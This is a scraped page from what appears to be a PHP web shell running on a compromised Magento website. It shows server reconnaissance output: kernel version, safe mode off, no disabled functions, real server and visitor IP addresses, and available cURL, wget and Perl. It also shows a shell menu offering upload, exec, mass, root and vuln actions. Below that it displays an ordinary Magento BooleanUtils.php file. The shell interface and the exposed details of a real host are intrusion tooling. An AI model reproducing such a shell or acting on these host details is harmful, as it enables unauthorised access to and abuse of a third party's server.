Kernel : Linux vmw02p.internet-indee.net 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Tue Nov 16 14:42:35 UTC 2021 x86_64
Disable function : NONE
Safe mode : OFF
Host : firofichi.it | Server ip : 5.196.164.15 | Your ip : 52.15.211.173 | Time @ Server : 19 Oct 2024 05:23:11
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/webmaster/firofichi/www/vendor/magento/framework/Stdlib/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/webmaster/firofichi/www/vendor/magento/framework/Stdlib/BooleanUtils.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\Stdlib; /** * Utility methods for the boolean data type * * @api * @since 100.0.2 */ class BooleanUtils { /** * Expressions that mean boolean TRUE * * @var array */ private $trueValues; /** * Expressions that mean boolean FALSE * * @var array */ private $falseValues; /** * @param array $trueValues * @param array $falseValues * @codingStandardsIgnoreStart */ public function __construct( array $trueValues = [true, 1, 'true', '1'], array $falseValues = [false, 0, 'false', '0'] ) { $this->trueValues = $trueValues; $this->falseValues = $falseValues; } // @codingStandardsIgnoreEnd /** * Retrieve boolean value for an expression * * @param mixed $value Boolean expression * @return bool * @throws \InvalidArgumentException */ public function toBoolean($value) { /** * Built-in function filter_var() is not used, because such values as on/off are irrelevant in some contexts * @link http://www.php.net/manual/en/filter.filters.validate.php */ if (in_array($value, $this->trueValues, true)) { return true; } if (in_array($value, $this->falseValues, true)) { return false; } $allowedValues = array_merge($this->trueValues, $this->falseValues); throw new \InvalidArgumentException( 'Boolean value is expected, supported values: ' . var_export($allowedValues, true) ); } /** * Try to convert $value to boolean else return non processed $value * * @param mixed $value * @return mixed * @since 101.0.0 */ public function convert($value) { if (in_array($value, $this->trueValues, true)) { return true; } elseif (in_array($value, $this->falseValues, true)) { return false; } else { return $value; } } }